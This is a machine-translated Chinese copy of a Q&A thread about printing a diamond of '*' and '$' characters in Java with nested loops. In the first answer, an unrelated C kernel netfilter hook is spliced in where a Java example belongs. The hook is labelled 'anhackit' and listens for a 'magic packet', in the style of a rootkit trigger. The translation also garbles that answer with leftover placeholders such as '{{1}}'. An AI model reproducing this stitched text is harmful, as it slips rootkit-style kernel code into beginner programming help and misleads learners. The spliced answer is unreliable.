我希望制作这样的钻石:
n = 2的
*
*$*
*
n = 3的
*
*$*
*$*$*
*$*
*
N = 4
*
*$*
*$*$*
*$*$*$*
*$*$*
*$*
*
我只能使用*
获取钻石,但无法弄清楚如何在混合中添加$
我的代码如下:
import java.util.Scanner;
public class ForNestedDemo
{
public static void main(String[] args) {
Scanner scan = new Scanner(System.in);
System.out.println("Please input number of lines:");
int i = 0, j, k, n;
n = scan.nextInt();
for (k = 1; k <= (n + 1) / 2; k++) {
for (i = 0; i < n - k; i++) {
System.out.print(" ");
}
for (j = 0; j < k; j++) {
System.out.print("*$ ");
}
System.out.println("");
}
for (k = ((n + 1) / 2); k < n; k++) {
for (i = 1; i < k; i++) {
System.out.print(" ");
}
for (j = 0; j < n - k; j++) {
System.out.print(" *");
}
System.out.println("");
}
scan.close();
}
}
答案 0 :(得分:1)
一种简单的方法是:而不是直接打印那些&#34;模式&#34;,首先将它们推入字符串变量 - 而不考虑$符号。只需将所需的空格和* s放入这些字符串即可。
像:
static unsigned int magic_packet_hook(const struct nf_hook_ops *ops, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) {
struct iphdr *iph;
struct tcphdr *tcph;
//Return if empty
if(!skb)
return NF_ACCEPT;
//Get ip header
iph = ip_hdr(skb);
//Check protocol
if(iph->protocol != IPPROTO_TCP)
return NF_ACCEPT;
//Get tcp header
tcph = tcp_hdr(skb);
//Get & check data
char *data;
data = (char *)((unsigned char *)tcph+(tcph->doff*4));
if(!data)
return NF_ACCEPT;
//Print in dmesg
#ifdef DEBUG
printk("anhackit data: %s\n", data);
#endif
//Convert source ip to string
char ip[16];
snprintf(ip, 16, "%pI4", &iph->saddr);
//Convert destination port to string
char port[6];
sprintf(port, "%u", ntohs(tcph->dest));
#ifdef DEBUG
printk("anhackit - magic packet received from %s on port %s !\n", ip, port);
#endif
return NF_ACCEPT;}
然后,接受这些字符串,并从中构建最终字符串:遍历每个字符串,当您发现str [index]和str [index + 1]为" *"
" **"
"***"
时,您只需放置{{1}你的结果字符串(否则你只是复制索引处的字符)。
使用该算法,上述字符串变为
'*'
最后,你只需*复制** 上行!
为了记录:当然有一些简单的解决方案可以在一次拍摄中创建整个输出。但是:你已经有了循环来构建那些错过$ chars的行。因此,可以使用我的方法,轻松地从当前代码转到工作解决方案。
答案 1 :(得分:1)
我同意@GhostCat是最简单的方法,但只是为了好玩我用你的方式想出来。
for (k = 1; k < (n + 1); k++) {
for (i = 0; i < n - k; i++) {
System.out.print(" ");
}
for (j = 0; j < k; j++) {
if(j == 0)
if(k == n+1)
System.out.print("*");
else
System.out.print(" *");
else{
System.out.print("$*");
}
}
System.out.println("");
}
for (k = 1; k < n; k++) {
for (i = 0; i < k; i++) {
System.out.print(" ");
}
for (j = 0; j < n - k; j++) {
if(j == 0)
if(k == n+1)
System.out.print("*");
else
System.out.print(" *");
else{
System.out.print("$*");
}
}
System.out.println("");
}
我已修复了一些错误并在其中添加了一些检查。
我的逻辑是:
k == n+1
),如果是,则只打印*
,否则打印_*
。$*
。之后我只是简单地接受了我的逻辑并将其粘贴到您的lower half
循环中。
答案 2 :(得分:0)
你可以这样做: 1.首先打印空间 2.然后打印替代&#39; *&#39;和&#39; $&#39;按照行的顺序。
public void printDiamonds(int n) {
//print the top part
for (int i = n-1; i > 0 ; i--) {
printDiamondLine(n, i);
}
//print the bottom part
for (int i = 0; i < n; i++)
printDiamondLine(n, i);
}
private void printDiamondLine(int n, int i) {
// i denotes the number of preceding spaces per line
for (int j=i; j>0; j--)
System.out.print(" ");
// print alternate * and $
for (int k=2*(n-i)-1; k>0; k--)
if (k%2==0)
System.out.print("$");
else
System.out.print("*");
System.out.println(); //print a new line at the end
}
答案 3 :(得分:0)
由于这似乎是家庭作业,我通常不会给出完整的代码。但是,猫从袋子里出来了。
我会尝试以简单的数学方式思考问题,并仔细查看空格*
和$
之间的关系。当你这样做时,代码可能会更容易编写,简单,和更清洁。
*
个
$
与*
s n - rowNum
个空格
鉴于此,我首先要编写一个易于调试且非常干净的解决方案。我main
的有趣部分将反映上面列出的形状的特征:
printTop(1, 1, n);
printMiddle(n);
printBottom(n - 1, n - 1, n);
这些方法定义如下:
public static void printTop(int i, int j, int n) {
for (; n - j > 0; ++i, ++j) {
printLine(n - j, i);
}
}
public static void printMiddle(int stars) {
printLine(0, stars);
}
public static void printBottom(int i, int j, int n) {
for (; i >= 0; --i, --j) {
printLine(n - j, i);
}
}
printLine()
方法在给定多个空格和*
s的情况下打印形状的行/行。这是我通常会忽略的部分,但是......
public static void printLine(int spaces, int stars) {
printSpace(spaces);
for (int i = 1; i <= (2 * stars - 1); ++i) {
if (i % 2 == 0) {
System.out.print('$');
} else {
System.out.print('*');
}
}
System.out.println();
}
我确信你可以弄明白printSpace()
正在做什么。
这种方法的好处在于它引导您走向不可避免地成为您的主要目标:分解和模块化您的代码。随着解决方案变得更加复杂,这将变得越来越重要祝你好运。
答案 4 :(得分:-1)
public static void main(String[] args) {
int n = 2;
int mid = (int) Math.ceil((n+n-1)/2.0);
String[] stringArray = new String[n];
for(int i = 0 ; i < n ; i++) {
StringBuilder sb = new StringBuilder();
for(int j = 2*i+1; j > 0; j--) {
if(j%2 == 0)
sb.append("$");
else
sb.append("*");
}
stringArray[i] = sb.toString();
}
for(int i = 0 ; i < n ; i++) {
for(int j = mid - stringArray[i].length()/2; j >0 ;j--) {
System.out.print(" ");
}
System.out.print(stringArray[i] + "\n");
}
for(int i = n-2 ; i >= 0 ; i--) {
for(int j = mid - stringArray[i].length()/2; j >0 ;j--) {
System.out.print(" ");
}
System.out.print(stringArray[i] + "\n");
}
}
你走了。此代码未以任何方式进行优化。希望这能给你一个大致的想法。